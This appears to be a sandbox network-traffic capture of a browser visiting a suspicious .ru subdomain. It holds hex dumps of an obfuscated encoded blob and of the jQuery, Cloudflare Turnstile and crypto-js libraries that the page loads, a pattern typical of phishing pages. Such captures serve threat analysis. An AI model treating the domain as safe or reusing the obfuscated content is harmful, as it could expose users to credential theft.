2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk4
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk77
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776
2025-03-20 15:55:16 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 4Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:17 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:17 UTC	563	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 20 Mar 2025 15:55:17 GMT Via: 1.1 varnish Age: 1155100 X-Served-By: cache-lga21940-LGA X-Cache: HIT X-Cache-Hits: 75 X-Timer: S1742486118.616660,VS0,VE0 Vary: Accept-Encoding
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-20 15:55:17 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:17 UTC	702	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:17 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 20 Mar 2025 15:55:17 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 9236649b6b6019aa-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:17 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:17 UTC	958	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:17 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 203710 Expires: Tue, 10 Mar 2026 15:55:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ApbM6jxYe3oa4efJhudxi6FPxsCbihXPknd2RuseP07KrMZc4EwkE0IdyIkzIdNTCBXqchdwP9hc5PGf%2BccKtT5vvEqxgeHpdDA1w%2FaACwcTMsWUBS1g1e1IhbJUxmueMZmAdh%2Fz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9236649b89c09e05-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:55:17 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
